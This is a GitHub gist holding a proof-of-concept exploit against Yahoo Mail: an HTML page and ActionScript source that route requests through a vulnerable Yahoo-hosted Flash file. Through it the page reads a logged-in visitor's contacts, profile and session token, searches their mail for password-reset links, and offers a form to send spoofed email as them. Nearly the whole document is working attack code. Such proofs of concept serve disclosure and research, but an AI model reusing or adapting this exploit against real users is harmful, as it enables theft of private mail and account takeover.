Skip to content

Instantly share code, notes, and snippets.

@JordanMilne
Created December 9, 2014 12:48
Show Gist options
  • Save JordanMilne/e14cf1dcd4bfbd85275e to your computer and use it in GitHub Desktop.
Save JordanMilne/e14cf1dcd4bfbd85275e to your computer and use it in GitHub Desktop.
YMail leaking PoC
<!DOCTYPE html>
<html>
<head>
<script src="//code.jquery.com/jquery-1.11.0.min.js"></script>
<script src="//code.jquery.com/jquery-migrate-1.2.1.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/json2/20130526/json2.js"></script>
<script>
// URL to get the current user's contacts
var CONTACTS_URL = "https://ca-mg6.mail.yahoo.com/neo/ws/sd?/v1/user/me/contacts;count=max;sort=asc?format=json&view=compact&_sc=1";
// URL to get the current user's profile
var PROFILE_URL = "https://ca-mg6.mail.yahoo.com/neo/ws/sd?/v1/user/me/profile;count=max;sort=asc?format=json&_sc=1";
// Get the current user's WSSID, found by MITMing the YMail app
var WSSID_URL = "https://m.mg.mail.yahoo.com/hg/controller/controller.php";
// For searching through mail once we have a WSSID
var FETCH_MAIL_URL = "https://ca-mg6.mail.yahoo.com/mailsearch/v2/search?appid=YahooMailNeo&wssid={{WSSID}}&sorting=-date&query={{QUERY}}";
function deflashify(flashed) {
return $.parseJSON(decodeURIComponent(flashed));
}
function flashProxy(url, callback_name) {
$("#flasher")[0].stealData(url, callback_name);
}
function onProfileLeaked(leak) {
leak = deflashify(leak);
var col = $("#profile_col");
if(leak) {
col.text(JSON.stringify(leak, null, 4));
} else {
col.text("Couldn't leak your profile");
}
}
function onContactsLeaked(leak) {
leak = deflashify(leak);
var col = $("#contacts_col");
if(leak) {
// turn the resource into something actually readable.
var newContacts = [];
newContacts = $.map(leak.contacts.contact, function(contact, i) {
var newContact = {};
$.each(contact.fields, function(i, field) {
newContact[field.type] = field.value;
});
return newContact;
});
col.text(JSON.stringify(newContacts, null, 4));
} else {
col.text("Couldn't leak your contacts");
}
}
function onWSSIDLeaked(leak) {
leak = deflashify(leak);
var col = $("#mail_col");
if(leak && leak.wssid) {
// Now that we have the WSSID, we can do all sorts of things,
// even send our own email!
window.wssid = leak.wssid;
$("#wssid").val(leak.wssid);
fetchMailQuery();
} else {
col.text("Couldn't get the WSSID");
}
}
function fetchMailQuery() {
if(!window.wssid) return;
$("#mail_col").text("");
var url = FETCH_MAIL_URL.replace("{{WSSID}}", window.wssid);
url = url.replace("{{QUERY}}", encodeURIComponent($("#mail_query").val()));
flashProxy(url, "onMailLeaked");
}
function onMailLeaked(leak) {
leak = deflashify(leak);
var col = $("#mail_col");
if(leak) {
col.text(JSON.stringify(leak, null, 4));
} else {
col.text("Couldn't leak your mail, maybe there are angle brackets in one of your emails? Try changing the query. :(");
}
}
function flasherReady() {
$("#mail_query").change(fetchMailQuery);
flashProxy(CONTACTS_URL, "onContactsLeaked");
flashProxy(PROFILE_URL, "onProfileLeaked");
flashProxy(WSSID_URL, "onWSSIDLeaked");
}
</script>
<style>
.leaked * {
vertical-align: top;
}
.leaked pre {
white-space: pre-wrap; /* CSS 3 */
white-space: -moz-pre-wrap; /* Mozilla, since 1999 */
white-space: -pre-wrap; /* Opera 4-6 */
white-space: -o-pre-wrap; /* Opera 7 */
word-wrap: break-word; /* Internet Explorer 5.5+ */
}
</style>
</head>
<body bgcolor="#ddd">
<object id="flasher" width="25" height="25" data="YahooFlasher.swf">
<param name="AllowScriptAccess" value="always">
</object>
<iframe name="post_target" width="1" height="1"></iframe>
<span>
Leaked data shows up here if you're logged into your Yahoo! account.
</span>
<br>
<table style="width: 100%" border="1">
<thead>
<th width="33%">Contacts</th>
<th width="33%">Profile</th>
<th width="33%">Mail</th>
</thead>
<tbody class="leaked">
<tr>
<td><pre id="contacts_col"></pre></td>
<td><pre id="profile_col"></pre></td>
<td>
<!-- Fetches mail that might have password reset links, also helpfully avoids angle brackets -->
<span>Query: </span><br> <textarea id="mail_query" style="width:98%" rows="4">{"keyword":"http","group":{"from":{},"folder":{},"flags":{"order":"desc"},"attachmenttype":{},"date":{"unit":"year"}},"flags":{"softdelete":0}}</textarea>
<hr>
<form method="POST" action="https://m.mg.mail.yahoo.com/hg/controller/controller.php" target="post_target">
<span>Spoof Email: </span><input type="submit" value="Send!">
<input type="hidden" id="wssid" name="wssid">
<input type="hidden" name="ac" value="SendMessage">
<br>
<textarea name="params" style="width:98%" rows="4">{"message":{"to":[{"email":"foo@saynotolinux.com","name":"foo@saynotolinux.com"}],"simplebody":{"text":"Such exploit, very cross domain!", "html":"Such exploit, very cross domain!"},"subject":"Hax"}}</textarea>
</form>
<hr>
<pre id="mail_col"></pre>
</td>
</tr>
</tbody>
</table>
</body>
</html>
package {
import flash.display.*;
import flash.events.*;
import flash.external.*;
import flash.net.*;
import flash.text.*;
import flash.utils.*;
import flash.system.*;
public class YahooFlasher extends MovieClip {
// Vulnerable SWF to make our requests through
private static const PROXY_URL:String = "http://img.autos.yahoo.com/i/izmo/engine/hotspotgallery/hotspotgallery.swf";
// Get just the origin from a fully-qualified URL
private static const ORIGIN_REGEX:RegExp = /^(\w+:\/\/[^\/]+\/).*/;
public function YahooFlasher() {
addEventListener(Event.ADDED_TO_STAGE, onAdded);
}
private function onAdded(e:Event):void {
// Set timeout to avoid syncronous issues
setTimeout(function():void {
if (ExternalInterface.available) {
// Let's not make *ourselves* vulnerable to weird exploits.
var swfOrigin:String = loaderInfo.url.replace(ORIGIN_REGEX, "$1");
if(!ORIGIN_REGEX.test(swfOrigin) || swfOrigin != Security.pageDomain) {
ExternalInterface.call("alert", "AY! This .swf needs to be on the same page as the one embedding it!");
return;
}
ExternalInterface.addCallback("stealData", stealData);
ExternalInterface.call("flasherReady");
}
}, 1);
}
public function stealData(targetURL:String, callback:String):void {
///
/// Steal data through the proxy SWF, response body must look like
/// valid XML and status code must not be >= 400.
///
var ldrComplete:Function = function (_arg1:Event):void {
setTimeout(function():void{
var proxyClip:Object = MCLoader.content;
// This thing's all janked and the request will be made to dataPath + "/" + exteriorXML1.
// Try to make it so that this won't affect our target.
var splitURL:Array = targetURL.split('/');
proxyClip.dataPath = splitURL.shift();
proxyClip.exteriorXML1 = splitURL.join('/');
// Triggers the HTTP Request through the vulnerable SWF
proxyClip.loadXML2();
var timeLimit:Number = new Date().getTime() + 10000;
// Keep checking if the data's been loaded,
// If `new XML(response)` raises, this will never be true,
// the response has to look like valid XML, but most JSON
// resources work too. Maybe because it sees it as one big
// top-level TextNode?
function checkFinished():void {
setTimeout(function():void {
var stolenXML:XML = proxyClip.DATA3;
if(stolenXML !== null) {
var ret:String;
// If we get a simple node with no name, it's probably not even XML.
// Get the string representation without XML escaping.
if(stolenXML.name() || stolenXML.hasComplexContent())
ret = stolenXML.toXMLString();
else
ret = stolenXML.toString();
if(callback)
// Flash can't be trusted to serialize `ret` properly. Just encode it.
ExternalInterface.call(callback, encodeURIComponent(ret));
} else {
// Hit a timeout when trying to fetch the response. Either a non-200 status code
// was returned, or we couldn't parse the body as XML :(
if(new Date().getTime() > timeLimit) {
if(callback)
ExternalInterface.call(callback, null);
} else {
checkFinished();
}
}
}, 10);
}
checkFinished();
}, 100);
};
// Load up the vulnerable proxy SWF
var MCLoader:Loader = new Loader();
MCLoader.load(new URLRequest(PROXY_URL));
MCLoader.contentLoaderInfo.addEventListener(Event.COMPLETE, ldrComplete);
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment